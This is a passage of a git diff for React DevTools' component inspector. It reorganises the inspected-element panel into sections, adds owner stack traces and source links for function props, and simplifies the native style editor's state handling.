-        <InspectedElementContextTree
-          bridge={bridge}
-          element={element}
-          inspectedElement={inspectedElement}
-          store={store}
-        />
+        {
+          // For Suspense and Activity we show the props further down.
+          type !== ElementTypeSuspense && type !== ElementTypeActivity
+            ? propsSection
+            : null
+        }
 
-        {enableStyleXFeatures && (
-          <InspectedElementStyleXPlugin
+        <div className={styles.InspectedElementSection}>
+          <InspectedElementStateTree
+            bridge={bridge}
+            element={element}
+            inspectedElement={inspectedElement}
+            store={store}
+          />
+        </div>
+
+        <div className={styles.InspectedElementSection}>
+          <InspectedElementHooksTree
             bridge={bridge}
             element={element}
+            hookNames={hookNames}
             inspectedElement={inspectedElement}
+            parseHookNames={parseHookNames}
             store={store}
+            toggleParseHookNames={toggleParseHookNames}
           />
+        </div>
+
+        <div className={styles.InspectedElementSection}>
+          <InspectedElementContextTree
+            bridge={bridge}
+            element={element}
+            inspectedElement={inspectedElement}
+            store={store}
+          />
+        </div>
+
+        {enableStyleXFeatures && (
+          <div className={styles.InspectedElementSection}>
+            <InspectedElementStyleXPlugin
+              bridge={bridge}
+              element={element}
+              inspectedElement={inspectedElement}
+              store={store}
+            />
+          </div>
         )}
 
-        <InspectedElementErrorsAndWarningsTree
-          bridge={bridge}
-          element={element}
-          inspectedElement={inspectedElement}
-          store={store}
-        />
+        <div className={styles.InspectedElementSection}>
+          <InspectedElementErrorsAndWarningsTree
+            bridge={bridge}
+            element={element}
+            inspectedElement={inspectedElement}
+            store={store}
+          />
+        </div>
+
+        <div className={styles.InspectedElementSection}>
+          <NativeStyleEditor />
+        </div>
 
-        <NativeStyleEditor />
+        <div className={styles.InspectedElementSection}>
+          <InspectedElementSuspendedBy
+            bridge={bridge}
+            element={element}
+            inspectedElement={inspectedElement}
+            store={store}
+          />
+        </div>
+
+        {
+          // For Suspense and Activity we show the props below suspended by to give that more priority.
+          type !== ElementTypeSuspense && type !== ElementTypeActivity
+            ? null
+            : propsSection
+        }
 
         {showRenderedBy && (
           <div
-            className={styles.Owners}
+            className={styles.InspectedElementSection}
             data-testname="InspectedElementView-Owners">
             <div className={styles.OwnersHeader}>rendered by</div>
-
-            {showOwnersList &&
-              owners?.map(owner => (
-                <OwnerView
-                  key={owner.id}
-                  displayName={owner.displayName || 'Anonymous'}
-                  hocDisplayNames={owner.hocDisplayNames}
-                  compiledWithForget={owner.compiledWithForget}
-                  id={owner.id}
-                  isInStore={store.containsElement(owner.id)}
-                  type={owner.type}
-                />
-              ))}
-
-            {rootType !== null && (
-              <div className={styles.OwnersMetaField}>{rootType}</div>
-            )}
-            {rendererLabel !== null && (
-              <div className={styles.OwnersMetaField}>{rendererLabel}</div>
-            )}
+            <React.Suspense
+              fallback={
+                <div className={styles.RenderedBySkeleton}>
+                  <Skeleton height={16} width="40%" />
+                </div>
+              }>
+              {showStack ? <StackTraceView stack={stack} /> : null}
+              {showOwnersList &&
+                owners?.map(owner => (
+                  <Fragment key={owner.id}>
+                    <OwnerView
+                      displayName={owner.displayName || 'Anonymous'}
+                      hocDisplayNames={owner.hocDisplayNames}
+                      environmentName={
+                        inspectedElement.env === owner.env ? null : owner.env
+                      }
+                      compiledWithForget={owner.compiledWithForget}
+                      id={owner.id}
+                      isInStore={store.containsElement(owner.id)}
+                      type={owner.type}
+                    />
+                    {owner.stack != null && owner.stack.length > 0 ? (
+                      <StackTraceView stack={owner.stack} />
+                    ) : null}
+                  </Fragment>
+                ))}
+
+              {rootType !== null && (
+                <div className={styles.OwnersMetaField}>{rootType}</div>
+              )}
+              {rendererLabel !== null && (
+                <div className={styles.OwnersMetaField}>{rendererLabel}</div>
+              )}
+            </React.Suspense>
           </div>
         )}
 
         {source != null && (
-          <InspectedElementSourcePanel
-            source={source}
-            symbolicatedSourcePromise={symbolicatedSourcePromise}
-          />
+          <div className={styles.InspectedElementSection}>
+            <InspectedElementSourcePanel
+              source={source}
+              symbolicatedSourcePromise={symbolicatedSourcePromise}
+            />
+          </div>
         )}
       </div>
     </Fragment>
   );
 }
-
-type OwnerViewProps = {
-  displayName: string,
-  hocDisplayNames: Array<string> | null,
-  compiledWithForget: boolean,
-  id: number,
-  isInStore: boolean,
-};
-
-function OwnerView({
-  displayName,
-  hocDisplayNames,
-  compiledWithForget,
-  id,
-  isInStore,
-}: OwnerViewProps) {
-  const dispatch = useContext(TreeDispatcherContext);
-  const {highlightNativeElement, clearHighlightNativeElement} =
-    useHighlightNativeElement();
-
-  const handleClick = useCallback(() => {
-    logEvent({
-      event_name: 'select-element',
-      metadata: {source: 'owner-view'},
-    });
-    dispatch({
-      type: 'SELECT_ELEMENT_BY_ID',
-      payload: id,
-    });
-  }, [dispatch, id]);
-
-  return (
-    <Button
-      key={id}
-      className={styles.OwnerButton}
-      disabled={!isInStore}
-      onClick={handleClick}
-      onMouseEnter={() => highlightNativeElement(id)}
-      onMouseLeave={clearHighlightNativeElement}>
-      <span className={styles.OwnerContent}>
-        <span
-          className={`${styles.Owner} ${isInStore ? '' : styles.NotInStore}`}
-          title={displayName}>
-          {displayName}
-        </span>
-
-        <ElementBadges
-          hocDisplayNames={hocDisplayNames}
-          compiledWithForget={compiledWithForget}
-        />
-      </span>
-    </Button>
-  );
-}
diff --git a/packages/react-devtools-shared/src/devtools/views/Components/InspectedElementViewSourceButton.js b/packages/react-devtools-shared/src/devtools/views/Components/InspectedElementViewSourceButton.js
index 31c6d1e55777..7170c2494f9c 100644
--- a/packages/react-devtools-shared/src/devtools/views/Components/InspectedElementViewSourceButton.js
+++ b/packages/react-devtools-shared/src/devtools/views/Components/InspectedElementViewSourceButton.js
@@ -11,79 +11,53 @@ import * as React from 'react';
 
 import ButtonIcon from '../ButtonIcon';
 import Button from '../Button';
-import ViewElementSourceContext from './ViewElementSourceContext';
-import Skeleton from './Skeleton';
 
-import type {Source as InspectedElementSource} from 'react-devtools-shared/src/shared/types';
-import type {
-  CanViewElementSource,
-  ViewElementSource,
-} from 'react-devtools-shared/src/devtools/views/DevTools';
+import type {ReactFunctionLocation} from 'shared/ReactTypes';
+import type {SourceMappedLocation} from 'react-devtools-shared/src/symbolicateSource';
 
-const {useCallback, useContext} = React;
+import useOpenResource from '../useOpenResource';
 
 type Props = {
-  canViewSource: ?boolean,
-  source: ?InspectedElementSource,
-  symbolicatedSourcePromise: Promise<InspectedElementSource | null> | null,
+  source: null | ReactFunctionLocation,
+  symbolicatedSourcePromise: Promise<SourceMappedLocation | null> | null,
 };
 
 function InspectedElementViewSourceButton({
-  canViewSource,
   source,
   symbolicatedSourcePromise,
 }: Props): React.Node {
-  const {canViewElementSourceFunction, viewElementSourceFunction} = useContext(
-    ViewElementSourceContext,
-  );
-
   return (
-    <React.Suspense fallback={<Skeleton height={16} width={24} />}>
+    <React.Suspense
+      fallback={
+        <Button disabled={true} title="Loading source maps...">
+          <ButtonIcon type="view-source" />
+        </Button>
+      }>
       <ActualSourceButton
-        canViewSource={canViewSource}
         source={source}
         symbolicatedSourcePromise={symbolicatedSourcePromise}
-        canViewElementSourceFunction={canViewElementSourceFunction}
-        viewElementSourceFunction={viewElementSourceFunction}
       />
     </React.Suspense>
   );
 }
 
 type ActualSourceButtonProps = {
-  canViewSource: ?boolean,
-  source: ?InspectedElementSource,
-  symbolicatedSourcePromise: Promise<InspectedElementSource | null> | null,
-  canViewElementSourceFunction: CanViewElementSource | null,
-  viewElementSourceFunction: ViewElementSource | null,
+  source: null | ReactFunctionLocation,
+  symbolicatedSourcePromise: Promise<SourceMappedLocation | null> | null,
 };
 function ActualSourceButton({
-  canViewSource,
   source,
   symbolicatedSourcePromise,
-  canViewElementSourceFunction,
-  viewElementSourceFunction,
 }: ActualSourceButtonProps): React.Node {
   const symbolicatedSource =
     symbolicatedSourcePromise == null
       ? null
       : React.use(symbolicatedSourcePromise);
 
-  // In some cases (e.g. FB internal usage) the standalone shell might not be able to view the source.
-  // To detect this case, we defer to an injected helper function (if present).
-  const buttonIsEnabled =
-    !!canViewSource &&
-    viewElementSourceFunction != null &&
-    source != null &&
-    (canViewElementSourceFunction == null ||
-      canViewElementSourceFunction(source, symbolicatedSource));
-
-  const viewSource = useCallback(() => {
-    if (viewElementSourceFunction != null && source != null) {
-      viewElementSourceFunction(source, symbolicatedSource);
-    }
-  }, [source, symbolicatedSource]);
-
+  const [buttonIsEnabled, viewSource] = useOpenResource(
+    source,
+    symbolicatedSource == null ? null : symbolicatedSource.location,
+  );
   return (
     <Button
       disabled={!buttonIsEnabled}
diff --git a/packages/react-devtools-shared/src/devtools/views/Components/KeyValue.css b/packages/react-devtools-shared/src/devtools/views/Components/KeyValue.css
index d6851be672cf..0c0f5e852d9e 100644
--- a/packages/react-devtools-shared/src/devtools/views/Components/KeyValue.css
+++ b/packages/react-devtools-shared/src/devtools/views/Components/KeyValue.css
@@ -34,8 +34,16 @@
   overflow: hidden;
   text-overflow: ellipsis;
   flex: 1;
+  cursor: pointer;
+  border-radius: 0.125rem;
+  padding: 0px 2px;
 }
 
+.Link:hover {
+  background-color: var(--color-background-hover);
+}
+
+
 .ExpandCollapseToggleSpacer {
   flex: 0 0 1rem;
   width: 1rem;
diff --git a/packages/react-devtools-shared/src/devtools/views/Components/KeyValue.js b/packages/react-devtools-shared/src/devtools/views/Components/KeyValue.js
index 16e619cfb084..89342ccffc1f 100644
--- a/packages/react-devtools-shared/src/devtools/views/Components/KeyValue.js
+++ b/packages/react-devtools-shared/src/devtools/views/Components/KeyValue.js
@@ -27,7 +27,9 @@ import isArray from 'react-devtools-shared/src/isArray';
 import {InspectedElementContext} from './InspectedElementContext';
 import {PROTOCOLS_SUPPORTED_AS_LINKS_IN_KEY_VALUE} from './constants';
 import KeyValueContextMenuContainer from './KeyValueContextMenuContainer';
+import {ContextMenuContext} from '../context';
 
+import type {ContextMenuContextType} from '../context';
 import type {InspectedElement} from 'react-devtools-shared/src/frontend/types';
 import type {Element} from 'react-devtools-shared/src/frontend/types';
 import type {Element as ReactElement} from 'react';
@@ -91,6 +93,8 @@ export default function KeyValue({
   const contextMenuTriggerRef = useRef(null);
 
   const {inspectPaths} = useContext(InspectedElementContext);
+  const {viewAttributeSourceFunction} =
+    useContext<ContextMenuContextType>(ContextMenuContext);
 
   let isInspectable = false;
   let isReadOnlyBasedOnMetadata = false;
@@ -206,6 +210,13 @@ export default function KeyValue({
     canRenameTheCurrentPath = canRenamePathsAtDepth(depth);
   }
 
+  const hasChildren =
+    typeof value === 'object' &&
+    value !== null &&
+    (canEditValues ||
+      (isArray(value) && value.length > 0) ||
+      Object.entries(value).length > 0);
+
   let renderedName;
   if (isDirectChildOfAnArray) {
     if (canDeletePaths) {
@@ -214,27 +225,37 @@ export default function KeyValue({
       );
     } else {
       renderedName = (
-        <span className={styles.Name}>
+        <span
+          className={styles.Name}
+          onClick={isInspectable || hasChildren ? toggleIsOpen : null}>
           {name}
           {!!hookName && <span className={styles.HookName}>({hookName})</span>}
+          <span className={styles.AfterName}>:</span>
         </span>
       );
     }
   } else if (canRenameTheCurrentPath) {
     renderedName = (
-      <EditableName
-        allowEmpty={canDeletePaths}
-        className={styles.EditableName}
-        initialValue={name}
-        overrideName={renamePath}
-        path={path}
-      />
+      <>
+        <EditableName
+          allowEmpty={canDeletePaths}
+          className={styles.EditableName}
+          initialValue={name}
+          overrideName={renamePath}
+          path={path}
+        />
+        <span className={styles.AfterName}>:</span>
+      </>
     );
   } else {
     renderedName = (
-      <span className={styles.Name} data-testname="NonEditableName">
+      <span
+        className={styles.Name}
+        data-testname="NonEditableName"
+        onClick={isInspectable || hasChildren ? toggleIsOpen : null}>
         {name}
         {!!hookName && <span className={styles.HookName}>({hookName})</span>}
+        <span className={styles.AfterName}>:</span>
       </span>
     );
   }
@@ -268,8 +289,8 @@ export default function KeyValue({
       <KeyValueContextMenuContainer
         key="root"
         anchorElementRef={contextMenuTriggerRef}
-        attributeSourceCanBeInspected={pathIsFunction}
-        canBeCopiedToClipboard={!pathIsFunction}
+        attributeSourceCanBeInspected={false}
+        canBeCopiedToClipboard={true}
         store={store}
         bridge={bridge}
         id={id}
@@ -282,7 +303,6 @@ export default function KeyValue({
           style={style}>
           <div className={styles.ExpandCollapseToggleSpacer} />
           {renderedName}
-          <div className={styles.AfterName}>:</div>
           {canEditValues ? (
             <EditableValue
               overrideValue={overrideValue}
@@ -305,6 +325,35 @@ export default function KeyValue({
         </div>
       </KeyValueContextMenuContainer>
     );
+  } else if (pathIsFunction && viewAttributeSourceFunction != null) {
+    children = (
+      <KeyValueContextMenuContainer
+        key="root"
+        anchorElementRef={contextMenuTriggerRef}
+        attributeSourceCanBeInspected={true}
+        canBeCopiedToClipboard={false}
+        store={store}
+        bridge={bridge}
+        id={id}
+        path={fullPath}>
+        <div
+          data-testname="KeyValue"
+          className={styles.Item}
+          hidden={hidden}
+          ref={contextMenuTriggerRef}
+          style={style}>
+          <div className={styles.ExpandCollapseToggleSpacer} />
+          {renderedName}
+          <span
+            className={styles.Link}
+            onClick={() => {
+              viewAttributeSourceFunction(id, fullPath);
+            }}>
+            {getMetaValueLabel(value)}
+          </span>
+        </div>
+      </KeyValueContextMenuContainer>
+    );
   } else if (
     hasOwnProperty.call(value, meta.type) &&
     !hasOwnProperty.call(value, meta.unserializable)
@@ -313,8 +362,8 @@ export default function KeyValue({
       <KeyValueContextMenuContainer
         key="root"
         anchorElementRef={contextMenuTriggerRef}
-        attributeSourceCanBeInspected={pathIsFunction}
-        canBeCopiedToClipboard={!pathIsFunction}
+        attributeSourceCanBeInspected={false}
+        canBeCopiedToClipboard={true}
         store={store}
         bridge={bridge}
         id={id}
@@ -331,7 +380,6 @@ export default function KeyValue({
             <div className={styles.ExpandCollapseToggleSpacer} />
           )}
           {renderedName}
-          <div className={styles.AfterName}>:</div>
           <span
             className={styles.Value}
             onClick={isInspectable ? toggleIsOpen : undefined}>
@@ -354,7 +402,6 @@ export default function KeyValue({
     }
   } else {
     if (isArray(value)) {
-      const hasChildren = value.length > 0 || canEditValues;
       const displayName = getMetaValueLabel(value);
 
       children = value.map((innerValue, index) => (
@@ -415,12 +462,11 @@ export default function KeyValue({
             ref={contextMenuTriggerRef}
             style={style}>
             {hasChildren ? (
-              <ExpandCollapseToggle isOpen={isOpen} setIsOpen={setIsOpen} />
+              <ExpandCollapseToggle isOpen={isOpen} setIsOpen={toggleIsOpen} />
             ) : (
               <div className={styles.ExpandCollapseToggleSpacer} />
             )}
             {renderedName}
-            <div className={styles.AfterName}>:</div>
             <span
               className={styles.Value}
               onClick={hasChildren ? toggleIsOpen : undefined}>
@@ -438,7 +484,6 @@ export default function KeyValue({
         entries.sort(alphaSortEntries);
       }
 
-      const hasChildren = entries.length > 0 || canEditValues;
       const displayName = getMetaValueLabel(value);
 
       children = entries.map(([key, keyValue]): ReactElement<any> => (
@@ -497,12 +542,11 @@ export default function KeyValue({
             ref={contextMenuTriggerRef}
             style={style}>
             {hasChildren ? (
-              <ExpandCollapseToggle isOpen={isOpen} setIsOpen={setIsOpen} />
+              <ExpandCollapseToggle isOpen={isOpen} setIsOpen={toggleIsOpen} />
             ) : (
               <div className={styles.ExpandCollapseToggleSpacer} />
             )}
             {renderedName}
-            <div className={styles.AfterName}>:</div>
             <span
               className={styles.Value}
               onClick={hasChildren ? toggleIsOpen : undefined}>
@@ -533,7 +577,10 @@ function DeleteToggle({deletePath, name, path}) {
         title="Delete entry">
         <ButtonIcon type="delete" />
       </Button>
-      <span className={styles.Name}>{name}</span>
+      <span className={styles.Name}>
+        {name}
+        <span className={styles.AfterName}>:</span>
+      </span>
     </>
   );
 }
diff --git a/packages/react-devtools-shared/src/devtools/views/Components/NativeStyleEditor/LayoutViewer.css b/packages/react-devtools-shared/src/devtools/views/Components/NativeStyleEditor/LayoutViewer.css
index d21b49197a19..44bc93f88c2d 100644
--- a/packages/react-devtools-shared/src/devtools/views/Components/NativeStyleEditor/LayoutViewer.css
+++ b/packages/react-devtools-shared/src/devtools/views/Components/NativeStyleEditor/LayoutViewer.css
@@ -1,6 +1,5 @@
 .LayoutViewer {
   padding: 0.25rem;
-  border-top: 1px solid var(--color-border);
   font-family: var(--font-family-monospace);
   font-size: var(--font-size-monospace-small);
 }
diff --git a/packages/react-devtools-shared/src/devtools/views/Components/NativeStyleEditor/StyleEditor.css b/packages/react-devtools-shared/src/devtools/views/Components/NativeStyleEditor/StyleEditor.css
index fcb3a3122c5f..bf7a8b27fa8a 100644
--- a/packages/react-devtools-shared/src/devtools/views/Components/NativeStyleEditor/StyleEditor.css
+++ b/packages/react-devtools-shared/src/devtools/views/Components/NativeStyleEditor/StyleEditor.css
@@ -2,7 +2,6 @@
   font-family: var(--font-family-monospace);
   font-size: var(--font-size-monospace-normal);
   padding: 0.25rem;
-  border-top: 1px solid var(--color-border);
 }
 
 .HeaderRow {
diff --git a/packages/react-devtools-shared/src/devtools/views/Components/NativeStyleEditor/StyleEditor.js b/packages/react-devtools-shared/src/devtools/views/Components/NativeStyleEditor/StyleEditor.js
index 8967ea68c913..2bb9aec2219b 100644
--- a/packages/react-devtools-shared/src/devtools/views/Components/NativeStyleEditor/StyleEditor.js
+++ b/packages/react-devtools-shared/src/devtools/views/Components/NativeStyleEditor/StyleEditor.js
@@ -9,7 +9,6 @@
 
 import * as React from 'react';
 import {useContext, useMemo, useRef, useState} from 'react';
-import {unstable_batchedUpdates as batchedUpdates} from 'react-dom';
 import {copy} from 'clipboard-js';
 import {
   BridgeContext,
@@ -21,6 +20,7 @@ import {serializeDataForCopy} from '../../utils';
 import AutoSizeInput from './AutoSizeInput';
 import styles from './StyleEditor.css';
 import {sanitizeForParse} from '../../../utils';
+import {withPermissionsCheck} from 'react-devtools-shared/src/frontend/utils/withPermissionsCheck';
 
 import type {Style} from './types';
 
@@ -63,7 +63,10 @@ export default function StyleEditor({id, style}: Props): React.Node {
 
   const keys = useMemo(() => Array.from(Object.keys(style)), [style]);
 
-  const handleCopy = () => copy(serializeDataForCopy(style));
+  const handleCopy = withPermissionsCheck(
+    {permissions: ['clipboardWrite']},
+    () => copy(serializeDataForCopy(style)),
+  );
 
   return (
     <div className={styles.StyleEditor}>
@@ -78,7 +81,7 @@ export default function StyleEditor({id, style}: Props): React.Node {
       {keys.length > 0 &&
         keys.map(attribute => (
           <Row
-            key={attribute}
+            key={`${attribute}/${style[attribute]}`}
             attribute={attribute}
             changeAttribute={changeAttribute}
             changeValue={changeValue}
@@ -178,10 +181,8 @@ function Row({
       validAttributes === null ||
       validAttributes.indexOf(newAttribute) >= 0;
 
-    batchedUpdates(() => {
-      setLocalAttribute(newAttribute);
-      setIsAttributeValid(isValid);
-    });
+    setLocalAttribute(newAttribute);
+    setIsAttributeValid(isValid);
   };
 
   // $FlowFixMe[missing-local-annot]
@@ -192,10 +193,8 @@ function Row({
       isValid = true;
     } catch (error) {}
 
-    batchedUpdates(() => {
-      setLocalValue(newValue);
-      setIsValueValid(isValid);
-    });
+    setLocalValue(newValue);
+    setIsValueValid(isValid);
   };
 
   const resetAttribute = () => {
diff --git a/packages/react-devtools-shared/src/devtools/views/Components/NativeStyleEditor/context.js b/packages/react-devtools-shared/src/devtools/views/Components/NativeStyleEditor/context.js
index d037ca56add5..e51719ebe1c2 100644
--- a/packages/react-devtools-shared/src/devtools/views/Components/NativeStyleEditor/context.js
+++ b/packages/react-devtools-shared/src/devtools/views/Components/NativeStyleEditor/context.js
@@ -10,76 +10,26 @@
 import type {ReactContext} from 'shared/ReactTypes';
 
 import * as React from 'react';
-import {
-  createContext,
-  useCallback,
-  useContext,
-  useEffect,
-  useMemo,
-  useState,
-} from 'react';
-import {unstable_batchedUpdates as batchedUpdates} from 'react-dom';
-import {createResource} from 'react-devtools-shared/src/devtools/cache';
+import {createContext, useContext, useEffect, useState} from 'react';
 import {
   BridgeContext,
   StoreContext,
 } from 'react-devtools-shared/src/devtools/views/context';
-import {TreeStateContext} from '../TreeContext';
+import {TreeStateContext} from 'react-devtools-shared/src/devtools/views/Components/TreeContext';
 
-import type {StateContext} from '../TreeContext';
+import type {StateContext} from 'react-devtools-shared/src/devtools/views/Components/TreeContext';
 import type {FrontendBridge} from 'react-devtools-shared/src/bridge';
 import type Store from 'react-devtools-shared/src/devtools/store';
 import type {StyleAndLayout as StyleAndLayoutBackend} from 'react-devtools-shared/src/backend/NativeStyleEditor/types';
 import type {StyleAndLayout as StyleAndLayoutFrontend} from './types';
-import type {Element} from 'react-devtools-shared/src/frontend/types';
-import type {
-  Resource,
-  Thenable,
-} from 'react-devtools-shared/src/devtools/cache';
-
-export type GetStyleAndLayout = (id: number) => StyleAndLayoutFrontend | null;
 
-type Context = {
-  getStyleAndLayout: GetStyleAndLayout,
-};
+type Context = StyleAndLayoutFrontend | null;
 
 const NativeStyleContext: ReactContext<Context> = createContext<Context>(
   ((null: any): Context),
 );
 NativeStyleContext.displayName = 'NativeStyleContext';
 
-type ResolveFn = (styleAndLayout: StyleAndLayoutFrontend) => void;
-type InProgressRequest = {
-  promise: Thenable<StyleAndLayoutFrontend>,
-  resolveFn: ResolveFn,
-};
-
-const inProgressRequests: WeakMap<Element, InProgressRequest> = new WeakMap();
-const resource: Resource<Element, Element, StyleAndLayoutFrontend> =
-  createResource(
-    (element: Element) => {
-      const request = inProgressRequests.get(element);
-      if (request != null) {
-        return request.promise;
-      }
-
-      let resolveFn:
-        | ResolveFn
-        | ((
-            result: Promise<StyleAndLayoutFrontend> | StyleAndLayoutFrontend,
-          ) => void) = ((null: any): ResolveFn);
-      const promise = new Promise(resolve => {
-        resolveFn = resolve;
-      });
-
-      inProgressRequests.set(element, ({promise, resolveFn}: $FlowFixMe));
-
-      return (promise: $FlowFixMe);
-    },
-    (element: Element) => element,
-    {useWeakMap: true},
-  );
-
 type Props = {
   children: React$Node,
 };
@@ -87,78 +37,26 @@ type Props = {
 function NativeStyleContextController({children}: Props): React.Node {
   const bridge = useContext<FrontendBridge>(BridgeContext);
   const store = useContext<Store>(StoreContext);
-
-  const getStyleAndLayout = useCallback<GetStyleAndLayout>(
-    (id: number) => {
-      const element = store.getElementByID(id);
-      if (element !== null) {
-        return resource.read(element);
-      } else {
-        return null;
-      }
-    },
-    [store],
-  );
-
-  // It's very important that this context consumes selectedElementID and not NativeStyleID.
-  // Otherwise the effect that sends the "inspect" message across the bridge-
-  // would itself be blocked by the same render that suspends (waiting for the data).
-  const {selectedElementID} = useContext<StateContext>(TreeStateContext);
+  const {inspectedElementID} = useContext<StateContext>(TreeStateContext);
 
   const [currentStyleAndLayout, setCurrentStyleAndLayout] =
     useState<StyleAndLayoutFrontend | null>(null);
 
-  // This effect handler invalidates the suspense cache and schedules rendering updates with React.
-  useEffect(() => {
-    const onStyleAndLayout = ({id, layout, style}: StyleAndLayoutBackend) => {
-      const element = store.getElementByID(id);
-      if (element !== null) {
-        const styleAndLayout: StyleAndLayoutFrontend = {
-          layout,
-          style,
-        };
-        const request = inProgressRequests.get(element);
-        if (request != null) {
-          inProgressRequests.delete(element);
-          batchedUpdates(() => {
-            request.resolveFn(styleAndLayout);
-            setCurrentStyleAndLayout(styleAndLayout);
-          });
-        } else {
-          resource.write(element, styleAndLayout);
-
-          // Schedule update with React if the currently-selected element has been invalidated.
-          if (id === selectedElementID) {
-            setCurrentStyleAndLayout(styleAndLayout);
-          }
-        }
-      }
-    };
-
-    bridge.addListener('NativeStyleEditor_styleAndLayout', onStyleAndLayout);
-    return () =>
-      bridge.removeListener(
-        'NativeStyleEditor_styleAndLayout',
-        onStyleAndLayout,
-      );
-  }, [bridge, currentStyleAndLayout, selectedElementID, store]);
-
   // This effect handler polls for updates on the currently selected element.
   useEffect(() => {
-    if (selectedElementID === null) {
+    if (inspectedElementID === null) {
+      setCurrentStyleAndLayout(null);
       return () => {};
     }
 
-    const rendererID = store.getRendererIDForElement(selectedElementID);
-
-    let timeoutID: TimeoutID | null = null;
-
+    let requestTimeoutId: TimeoutID | null = null;
     const sendRequest = () => {
-      timeoutID = null;
+      requestTimeoutId = null;
+      const rendererID = store.getRendererIDForElement(inspectedElementID);
 
       if (rendererID !== null) {
         bridge.send('NativeStyleEditor_measure', {
-          id: selectedElementID,
+          id: inspectedElementID,
           rendererID,
         });
       }
@@ -168,38 +66,37 @@ function NativeStyleContextController({children}: Props): React.Node {
     // We'll poll for an update in the response handler below.
     sendRequest();
 
-    const onStyleAndLayout = ({id}: StyleAndLayoutBackend) => {
+    const onStyleAndLayout = ({id, layout, style}: StyleAndLayoutBackend) => {
       // If this is the element we requested, wait a little bit and then ask for another update.
-      if (id === selectedElementID) {
-        if (timeoutID !== null) {
-          clearTimeout(timeoutID);
+      if (id === inspectedElementID) {
+        if (requestTimeoutId !== null) {
+          clearTimeout(requestTimeoutId);
         }
-        timeoutID = setTimeout(sendRequest, 1000);
+        requestTimeoutId = setTimeout(sendRequest, 1000);
       }
+
+      const styleAndLayout: StyleAndLayoutFrontend = {
+        layout,
+        style,
+      };
+      setCurrentStyleAndLayout(styleAndLayout);
     };
 
     bridge.addListener('NativeStyleEditor_styleAndLayout', onStyleAndLayout);
-
     return () => {
       bridge.removeListener(
         'NativeStyleEditor_styleAndLayout',
         onStyleAndLayout,
       );
 
-      if (timeoutID !== null) {
-        clearTimeout(timeoutID);
+      if (requestTimeoutId !== null) {
+        clearTimeout(requestTimeoutId);
       }
     };
-  }, [bridge, selectedElementID, store]);
-
-  const value = useMemo(
-    () => ({getStyleAndLayout}),
-    // NativeStyle is used to invalidate the cache and schedule an update with React.
-    [currentStyleAndLayout, getStyleAndLayout],
-  );
+  }, [bridge, inspectedElementID, store]);
 
   return (
-    <NativeStyleContext.Provider value={value}>
+    <NativeStyleContext.Provider value={currentStyleAndLayout}>
       {children}
     </NativeStyleContext.Provider>
   );
diff --git a/packages/react-devtools-shared/src/devtools/views/Components/NativeStyleEditor/index.css b/packages/react-devtools-shared/src/devtools/views/Components/NativeStyleEditor/index.css
new file mode 100644
index 000000000000..d4b1ad2be824
--- /dev/null
+++ b/packages/react-devtools-shared/src/devtools/views/Components/NativeStyleEditor/index.css
@@ -0,0 +1,3 @@
+.Stack > *:not(:first-child) {
+  border-top: 1px solid var(--color-border);
+}
diff --git a/packages/react-devtools-shared/src/devtools/views/Components/NativeStyleEditor/index.js b/packages/react-devtools-shared/src/devtools/views/Components/NativeStyleEditor/index.js
index 10bf8023966b..bf3f6a8e9f30 100644
--- a/packages/react-devtools-shared/src/devtools/views/Components/NativeStyleEditor/index.js
+++ b/packages/react-devtools-shared/src/devtools/views/Components/NativeStyleEditor/index.js
@@ -8,19 +8,19 @@
  */
 
 import * as React from 'react';
-import {Fragment, useContext, useMemo} from 'react';
+import {useContext, useMemo} from 'react';
+
 import {StoreContext} from 'react-devtools-shared/src/devtools/views/context';
 import {useSubscription} from 'react-devtools-shared/src/devtools/views/hooks';
+import {TreeStateContext} from 'react-devtools-shared/src/devtools/views/Components/TreeContext';
+
 import {NativeStyleContext} from './context';
 import LayoutViewer from './LayoutViewer';
 import StyleEditor from './StyleEditor';
-import {TreeStateContext} from '../TreeContext';
-
-type Props = {};
+import styles from './index.css';
 
-export default function NativeStyleEditorWrapper(_: Props): React.Node {
+export default function NativeStyleEditorWrapper(): React.Node {
   const store = useContext(StoreContext);
-
   const subscription = useMemo(
     () => ({
       getCurrentValue: () => store.supportsNativeStyleEditor,
@@ -33,8 +33,8 @@ export default function NativeStyleEditorWrapper(_: Props): React.Node {
     }),
     [store],
   );
-  const supportsNativeStyleEditor = useSubscription<boolean>(subscription);
 
+  const supportsNativeStyleEditor = useSubscription<boolean>(subscription);
   if (!supportsNativeStyleEditor) {
     return null;
   }
@@ -42,32 +42,27 @@ export default function NativeStyleEditorWrapper(_: Props): React.Node {
   return <NativeStyleEditor />;
 }
 
-function NativeStyleEditor(_: Props) {
-  const {getStyleAndLayout} = useContext(NativeStyleContext);
-
+function NativeStyleEditor() {
   const {inspectedElementID} = useContext(TreeStateContext);
+  const inspectedElementStyleAndLayout = useContext(NativeStyleContext);
   if (inspectedElementID === null) {
     return null;
   }
-
-  const maybeStyleAndLayout = getStyleAndLayout(inspectedElementID);
-  if (maybeStyleAndLayout === null) {
+  if (inspectedElementStyleAndLayout === null) {
     return null;
   }
 
-  const {layout, style} = maybeStyleAndLayout;
+  const {layout, style} = inspectedElementStyleAndLayout;
+  if (layout === null && style === null) {
+    return null;
+  }
 
   return (
-    <Fragment>
+    <div className={styles.Stack}>
       {layout !== null && (
         <LayoutViewer id={inspectedElementID} layout={layout} />
       )}
-      {style !== null && (
-        <StyleEditor
-          id={inspectedElementID}
-          style={style !== null ? style : {}}
-        />
-      )}
-    </Fragment>
+      {style !== null && <StyleEditor id={inspectedElementID} style={style} />}
+    </div>
   );
 }
diff --git a/packages/react-devtools-shared/src/devtools/views/Components/NativeTagBadge.css b/packages/react-devtools-shared/src/devtools/views/Components/NativeTagBadge.css
new file mode 100644
index 000000000000..cebc617e69cf
--- /dev/null
+++ b/packages/react-devtools-shared/src/devtools/views/Components/NativeTagBadge.css
@@ -0,0 +1,3 @@
+.Badge {
+  cursor: help;
+}
diff --git a/packages/react-devtools-shared/src/devtools/views/Components/NativeTagBadge.js b/packages/react-devtools-shared/src/devtools/views/Components/NativeTagBadge.js
new file mode 100644
index 000000000000..c092891ec9dd
--- /dev/null
+++ b/packages/react-devtools-shared/src/devtools/views/Components/NativeTagBadge.js
@@ -0,0 +1,30 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import * as React from 'react';
+
+import Badge from './Badge';
+import Tooltip from './reach-ui/tooltip';
+
+import styles from './NativeTagBadge.css';
+
+type Props = {
+  nativeTag: number,
+};
+
+const title =
